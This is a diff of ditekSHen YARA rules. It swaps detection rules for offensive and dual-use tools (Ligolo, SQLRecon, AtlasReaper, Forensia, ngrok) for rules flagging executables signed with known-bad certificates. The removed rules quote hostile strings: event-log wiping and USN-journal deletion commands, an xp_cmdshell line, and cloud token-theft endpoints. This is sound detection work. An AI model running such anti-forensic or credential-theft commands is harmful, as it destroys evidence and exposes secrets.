 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "main.agentpassword" fullword ascii
-		$s2 = "main.connectForSocks" fullword ascii
-		$s3 = "main.connectviaproxy" fullword ascii
-		$s4 = "main.DnsConnectSocks" fullword ascii
-		$s5 = "main.listenForAgents" fullword ascii
-		$s6 = "main.listenForClients" fullword ascii
-		$s7 = "main.getPEMs" fullword ascii
+		thumbprint = "f1f83c96ab00dcb70c0231d946b6fbd6a01e2c94e8f9f30352bbe50e89a9a51c"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f) and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THRANE AGENTUR ApS" and pe.signatures[i].serial=="00:ec:e6:cb:f6:7d:c4:16:35:a5:e5:d0:75:f2:86:af:23")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Azbelt : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5Fb6Bae8834Edd8D3D58818Edc86D7D7 : FILE
 {
 	meta:
-		description = "Detects azbelt for enumerating Azure related credentials primarily on AAD joined machines"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cf9268d2-1928-51e8-9643-ee0a5bada9fa"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "65f5e05c-f5cd-53ba-b4ec-7f412aa63796"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1323-L1338"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2456-L2467"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "71cc2b3418ea5e285adafe03fa80bade67dc3e4073fe58d42bc6190860b48b43"
+		logic_hash = "9cec6eae024d738c68d670fb61f7667bdc156245da83e5d0ae0f2012baa5bc0a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "@http://169.254.169.254/metadata/identity/oauth2/token?api-version=" ascii
-		$s2 = "@Partner Customer Delegated Admin Offline Processor" fullword ascii
-		$s3 = "@TargetName: " fullword ascii
-		$s4 = "httpclient.nim" fullword ascii
-		$s5 = "@DSREG_DEVICE_JOIN" fullword ascii
-		$s6 = "@.azure/msal_token_cache.bin" fullword ascii
-		$s7 = "CredEnumerateW" fullword ascii
-		$s8 = "@http://169.254.169.254/metadata/instance?api-version=" ascii
+		thumbprint = "026868bbc22c6a37094851e0c6f372da90a8776b01f024badb03033706828088"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Tramplink LLC" and pe.signatures[i].serial=="5f:b6:ba:e8:83:4e:dd:8d:3d:58:81:8e:dc:86:d7:d7")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Dontsleep : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6E0Ccbdfb4777E10Ea6221B90Dc350C2 : FILE
 {
 	meta:
-		description = "Detects Keep Host Unlocked (Don't Sleep)"
-		author = "ditekShen"
-		id = "f71bd0d5-a526-5f1e-8bd3-9e653db610a7"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "c8f66f21-db29-5a5d-a74d-58c152a17bc3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1340-L1354"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2469-L2480"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b8e2132d3b36c3e2d2662a586916c7e4fc029f81af08b5c18006833c4e6f772f"
+		logic_hash = "fee9662133f0a3d88ce97c27f150bcea8faf21b4c4b97f90bb2aae73ee332bb9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = ":Repeat###DEL \"%s\"###if exist \"%s\" goto Repeat###DEL \"%s\"###" wide
-		$s2 = "powrprof.dll,SetSuspendState" wide
-		$s3 = "_selfdestruct.bat" wide
-		$s4 = "please_sleep_block_" ascii
-		$s5 = "Browser-Type: MiniBowserOK" wide
-		$s6 = "m_use_all_rule_no_sleep" ascii
-		$s7 = "BlockbyExecutionState: %d on:%d by_enable:%d" fullword wide
+		thumbprint = "367b3092fbcd132efdbebabdc7240e29e3c91366f78137a27177315d32a926b9"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TRAUMALAB INTERNATIONAL APS" and pe.signatures[i].serial=="6e:0c:cb:df:b4:77:7e:10:ea:62:21:b9:0d:c3:50:c2")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Nsudo : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1249Aa2Ada4967969B71Ce63Bf187C38 : FILE
 {
 	meta:
-		description = "Detects NSudo allowing to run processes as TrustedInstaller or System"
-		author = "ditekShen"
-		id = "9a21b923-b02e-553b-8f53-026d7034c319"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "3af35255-7583-5463-b130-ebc8abd4803b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1356-L1369"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2482-L2493"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6bcffa79ca06b0b4178d6ea256f98d917c2b19cec0b059889b8d015d226a53f9"
+		logic_hash = "9f8ff46a3b0f5179c2c3b89e82188183fa399c67c3f0ebc28218cf3cb4ce5c70"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "cmd /c start \"NSudo." wide
-		$x2 = "*\\shell\\NSudo" fullword wide
-		$x3 = "Projects\\NSudo\\Output\\Release\\x64\\NSudo.pdb" ascii
-		$s1 = "-ShowWindowMode=Hide" wide
-		$s2 = "?what@exception@@UEBAPEBDXZ" fullword ascii
-		$s3 = "NSudo.RunAs." ascii
+		thumbprint = "c139076033e8391c85ba05508c4017736a8a7d9c1350e6b5996dd94b374f403c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and 2 of ($s*)) or all of ($s*) or 4 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Umbrella LLC" and pe.signatures[i].serial=="12:49:aa:2a:da:49:67:96:9b:71:ce:63:bf:18:7c:38")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Ligolo : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2Dcd0699Da08915Dde6D044Cb474157C : FILE
 {
 	meta:
-		description = "Detects Ligolo tool for establishing SOCKS5 or TCP tunnels from a reverse connection"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cc461fd1-9a2f-59ce-af74-a0f55b8850b1"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "0b4e1d10-d385-5ca8-b9e2-00341a4c6fd9"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1371-L1385"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2495-L2506"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b515dc184013c2f67d37e42d7172e2471b3a93c94024be12c7f587296287282d"
+		logic_hash = "096cf4bb17aa86821bd8d6c8b9fd603664beb12f54a97a87e660b560bd0fc246"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$p1 = "/ligolo/main.go" ascii
-		$p2 = "/armon/go-socks5" ascii
-		$s1 = "main.StartLigolo" fullword ascii
-		$s2 = "main.handleRelay" fullword ascii
-		$s3 = "main.startSocksProxy" fullword ascii
-		$s4 = "_main.tlsFingerprint" fullword ascii
-		$s5 = "main.verifyTlsCertificate" fullword ascii
+		thumbprint = "13bf3156e66a57d413455973866102b0a1f6d45a1e6de050ca9dcf16ecafb4e2"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xfacf) and (( all of ($p*) and 1 of ($s*)) or all of ($s*) or (1 of ($p*) and 4 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VENTE DE TOUT" and pe.signatures[i].serial=="2d:cd:06:99:da:08:91:5d:de:6d:04:4c:b4:74:15:7c")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Extpassword : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_008D52Fb12A2511E86Bbb0Ba75C517Eab0 : FILE
 {
 	meta:
-		description = "Detects ExtPassword External Drive Password Recovery"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "bb06d2c1-964d-5a3d-a741-09b8ef5ac7fa"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "04b78a1c-bb2c-5844-933b-f95a0cc8c71e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1387-L1403"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2508-L2519"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "525530cb7e9f44be0408fd710306f90056b1b6b9a9e4779d8c1eb1ddef443fb0"
+		logic_hash = "23dc0500af88af0e2c8ea7ff2c5a149d24fb7fd23853c4bf5ee5921a66a34672"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "ExtPassword!" fullword wide
-		$s2 = "GReading Chrome password file: %s" fullword wide
-		$s3 = "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy%d" fullword wide
-		$s4 = "2015-07-27 13:49:41 b8e92227a469de677a66da62e4361f099c0b79d0" ascii
-		$s5 = "metadata WHERE id = 'password'" ascii
-		$s6 = /Scanning\s(Credentials\sfolder|Credentials\sfolder|Firefox\sand\sother\sMozilla\sWeb\sbrowsers|Chromium-based\Web\browsers|Outlook\saccounts|Windows\sVault|dialup\/VPN\sitems|wireless\skeys|Windows\ssecurity\squestions|vault\spasswords)/ wide
-		$s7 = "lhelp32Snapsho" fullword ascii
-		$s8 = "SELECT origin_" fullword ascii
-		$s9 = "password#Ck" fullword ascii
+		thumbprint = "9e918ce337aebb755e23885d928e1a67eca6823934935010e82b561b928df2f9"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) and 3 of ($s*)) or 6 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VThink Software Consulting Inc." and pe.signatures[i].serial=="00:8d:52:fb:12:a2:51:1e:86:bb:b0:ba:75:c5:17:ea:b0")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Ngrok : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00B1Aea98Bf0Ce789B6C952310F14Edde0 : FILE
 {
 	meta:
-		description = "Detects Ngrok"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "fc0a0de8-b68b-5b6b-a222-bbc031ebabd3"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "9ab5382f-d768-553c-b52c-88d3a3824459"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1405-L1418"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2521-L2532"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f4bba142652aaf77e5b7c123b743cf165ae17210c39cf65b7311f7e7bd91f7e1"
+		logic_hash = "f7e8a4a0dcd952129e24e8e9351f271d7ea98ffcb7ef9ebe65c27dcc62e6a820"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "dashboard.ngrok.com" ascii
-		$s2 = "go.ngrok.com/cmd/ngrok/main.go" ascii
-		$s3 = "ngrok agent" ascii
-		$s4 = "*ngrok.clientInfo" ascii
-		$s5 = "'%s'  socket: '%s'  port: %d/edges/https/{{ .EdgeID }}/routes/{{ .ID }}/webhook_" ascii
-		$s6 = "/{{ .ID }}/tunnel_sessions/{{ .ID }}/restart" ascii
+		thumbprint = "28324a9746edbdb41c9579032d6eb6ab4fd3e0906f250d4858ce9c5fe5e97469"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xfacf) and (3 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Absolut LLC" and pe.signatures[i].serial=="00:b1:ae:a9:8b:f0:ce:78:9b:6c:95:23:10:f1:4e:dd:e0")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Sqlrecon : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00F097E59809Ae2E771B7B9Ae5Fc3408D7 : FILE
 {
 	meta:
-		description = "Detects SQLRecon C# MS-SQL toolkit designed for offensive reconnaissance and post-exploitation"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ec91285b-690d-5fd3-b0fc-f8d72cbb7e15"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "edd8674d-7d45-5f77-aa47-3fbe32176324"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1420-L1436"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2534-L2545"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "784dbc518cf9492557c9b3536256c4a9b03e4536cf7cee7e764b8009dd4686bb"
+		logic_hash = "817876ab8e649b36cac2e7b23d58fe94963c55481fbf3deff7e60a70896af6d0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "ConvertDLLToSQLBytes" ascii
-		$s2 = "\\SQLRecon.pdb" ascii
-		$s3 = "GetAllSQLServerInfo" ascii
-		$s4 = "<GetMSSQLSPNs>b__" ascii
-		$s5 = "select 1; exec master..xp_cmdshell" wide
-		$s6 = "-> Command Execution" wide
-		$s7 = ";EXEC dbo.sp_add_jobstep @job_name =" wide
-		$s8 = "EXEC sp_drop_trusted_assembly 0x" wide
-		$s9 = "(&(sAMAccountType=805306368)(servicePrincipalName=MSSQL*))" wide
+		thumbprint = "22ad7df275c8b5036ea05b95ce5da768049bd2b21993549eed3a8a5ada990b1e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ABEL RENOVATIONS, INC." and pe.signatures[i].serial=="00:f0:97:e5:98:09:ae:2e:77:1b:7b:9a:e5:fc:34:08:d7")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Atlasreaper : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2E8023A5A0328F66656E1Fc251C82680 : FILE
 {
 	meta:
-		description = "Detects AtlasReaper command-line tool for Confluence and Jira reconnaissance, credential farming and social engineering"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a0b4e134-bb05-5cc3-af71-516a0407aa1b"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "192695ab-2f38-5a0b-98ba-5c800f6b9ec1"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1438-L1453"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2547-L2558"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4a0436d5c3f1609d23b2b919bebdc56a7fd63e81b99e72dcda1022487cb88240"
+		logic_hash = "5f0ff46d6cb2a6fe50a4e433dfbf8f62acd92b7c92d922680894fdaee2558d31"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "/((?:A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16})/" fullword wide
-		$s2 = "/rest/api/3/search?jql=" fullword wide
-		$s3 = "attachments+IS+NOT+EMPTY&fields=attachment,summary,status" fullword wide
-		$s4 = "<ParseJira>b__" ascii
-		$s5 = "<Atlas_Doc_Format>k__" ascii
-		$s6 = "<ParseConfluence>b__" ascii
-		$s7 = "AtlasReaper_ProcessedByFody" fullword ascii
-		$s8 = /AtlasReaper\.(Jira|Confluence)/ fullword ascii
+		thumbprint = "e3eff064ad23cc4c98cdbcd78e4e5a69527cf2e4"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Philippe Mantes" and pe.signatures[i].serial=="2e:80:23:a5:a0:32:8f:66:65:6e:1f:c2:51:c8:26:80")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Ngroksharp : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_38B0Eaa7C533051A456Fb96C4Ecf91C4 : FILE
 {
 	meta:
-		description = "Detects NgrokSharp .NET library for Ngrok"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7c335021-4afd-5878-83c3-9bb2c81f3586"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "1133fb37-2616-5d95-83da-554d9a5a5373"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1455-L1471"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2560-L2571"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c60637177114d369af9c3e96689811845ce1c1dfde8f7f971c4de21439564b4b"
+		logic_hash = "3ea8eaf1fc17075a8c1f34f9b1d8a987071d58a4b68bed70db763402a9a6de97"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "NgrokSharp" fullword wide
-		$x2 = "/entvex/NgrokSharp" ascii
-		$s1 = "start --none -region" wide
-		$s2 = "startTunnelDto" fullword wide
-		$s3 = "/tunnels/" fullword wide
-		$s4 = "<StartNgrok" ascii
-		$s5 = "INgrokManager" ascii
-		$s6 = "_tunnel_name" ascii
-		$s7 = "_ngrokDownloadUrl" ascii
+		thumbprint = "8e2e69b1202210dc9d2155a0f974ab8c325d5297"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 3 of ($s*)) or 4 of ($*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Marianne Septier" and pe.signatures[i].serial=="38:b0:ea:a7:c5:33:05:1a:45:6f:b9:6c:4e:cf:91:c4")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Ngrokgo : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_738Db9460A10Bb8Bc03Dc59Feac3Be5E : FILE
 {
 	meta:
-		description = "Detects Go implementation variant for Ngrok"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b11f67c5-846d-57b2-8edc-521b2dc77503"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "3451fe9d-067a-57ea-9df1-35d427d8c71a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1473-L1488"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2573-L2584"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4ec151661e3af922aba202c68392a2af17e2c4ed25a71a0b5aacc13fbfcc5c53"
+		logic_hash = "6a7060f2a5867e9974cb01de516ef34fb367ef9acf88e2f63c97dd05b1676504"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "/codegangsta/inject" fullword wide
-		$s2 = "go.ngrok.com/" ascii
-		$s3 = "GetIsNgrokDomain" ascii
-		$s4 = "GetNgrokMetering" ascii
-		$s5 = "*cli.ngrokService" ascii
-		$s6 = "GetAllowNgrokLink" ascii
-		$s7 = "ngrok {{.Name}}{{if .Flags}}" ascii
-		$s8 = "github.com/nikolay-ngrok/" ascii
+		thumbprint = "4cf77e598b603c13cdcd1a676ca61513558df746"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Jocelyn Bennett" and pe.signatures[i].serial=="73:8d:b9:46:0a:10:bb:8b:c0:3d:c5:9f:ea:c3:be:5e")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_Tool_Forensia : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_141D6Dafed065980D97520E666493396 : FILE
 {
 	meta:
-		description = "Detects Forensia anti-forensics tool used for erasing footprints"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "bcd05c2e-7ddd-5ce7-a6a7-0659bed38744"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "1a2e44d7-b801-5c3e-bf74-616f211c6d93"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1490-L1523"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2586-L2597"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7147eee62df10cd8a6c00ec80c4d1bdb8234a181dd6af81d0580d847f05bd0b6"
+		logic_hash = "37ed05b7a472ec6cbc1bba453f3be9ca1bd590ed6470d6607873ef52b28e3ea5"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$c1 = "for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"" ascii
-		$c2 = "del /F /Q C:\\Windows\\Prefetch\\*" ascii
-		$c3 = "del C:\\Windows\\AppCompat\\Programs\\RecentFileCache.bcf" ascii
-		$c4 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\*" ascii
-		$c5 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\*" ascii
-		$c6 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*" ascii
-		$c7 = "fsutil.exe usn deletejournal /D C:" ascii
-		$r1 = "\\Memory Management\\PrefetchParameters" wide
-		$r2 = "\\Explorer\\Advanced" wide
-		$r3 = "\\Services\\EventLog" wide
-		$r4 = "\\Shell\\BagMRU" wide
-		$r5 = "\\Control\\FileSystem" wide
-		$r6 = "\\Setup\\VC" wide
-		$s1 = "[LOG] - %s" wide
-		$s2 = "\\forensia\\regedit.hpp" wide
-		$s3 = "NtfsDisableLastAccessUpdate" wide
-		$s4 = "Melting The Executable" wide
-		$s5 = "Sysmon Unloader" wide
-		$s6 = "Rundll32.exe apphelp.dll,ShimFlushCache" ascii
-		$s7 = "\\Debug\\forensia.pdb" ascii
-		$s8 = { 55 00 00 00 aa 00 00 00 92 49 24 00 49 24 92 00
-                24 92 49 00 00 00 00 00 11 00 00 00 22 00 00 00
-                33 00 00 00 44 00 00 00 66 00 00 00 88 00 00 00
-                99 00 00 00 bb 00 00 00 cc 00 00 00 dd 00 00 00
-                ee 00 00 00 ff 00 00 00 6d b6 db 00 b6 db 6d 00
-                db 6d b6 }
+		thumbprint = "28225705d615a47de0d1b0e324b5b9ca7c11ce48"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((4 of ($c*) and 2 of ($r*)) or (4 of ($r*) and 2 of ($c*)) or 6 of ($s*) or (3 of ($s*) and 2 of ($r*) and 1 of ($c*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ralph Schmidt" and pe.signatures[i].serial=="14:1d:6d:af:ed:06:59:80:d9:75:20:e6:66:49:33:96")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Dwagentlib : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_07Cf63Bdccc15C55E5Ce785Bdfbeaacf : FILE
 {
 	meta:
-		description = "Detect DWAgent Remote Administration Tool library"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "af0f9940-fbec-5775-9b74-bd73b55ec0ca"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "7bdc16ed-ff95-5e96-bfe9-ad326c77c82a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1525-L1539"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2599-L2610"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "608dd9bc8cfcec5a671bee9456dccedace31d7ae37180387ac2408f79fd9f452"
+		logic_hash = "1fdd8f6535bf5a78fcd7e33475a650914053f1391fe04f885e9e5a84452bfe5a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "DWAgentLib" fullword wide
-		$s2 = "PYTHONHOME" fullword wide
-		$s3 = "isTaskRunning" fullword ascii
-		$s4 = "isUserInAdminGroup" fullword ascii
-		$s5 = "setFilePermissionEveryone" fullword ascii
-		$s6 = "startProcessInActiveConsole" fullword ascii
-		$s7 = "taskKill" fullword ascii
+		thumbprint = "3306df7607bed04187d23c1eb93adf2998e51d01"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "REITSUPER ESTATE LLC" and pe.signatures[i].serial=="07:cf:63:bd:cc:c1:5c:55:e5:ce:78:5b:df:be:aa:cf")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Dwagentsvc : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0382Cd4B6Ed21Ed7C3Eaea266269D000 : FILE
 {
 	meta:
-		description = "Detect DWAgent Remote Administration Tool service"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "5d124c20-a0f8-5e82-8bab-93a782a2a649"
-		date = "2024-01-23"
-		modified = "2024-01-23"
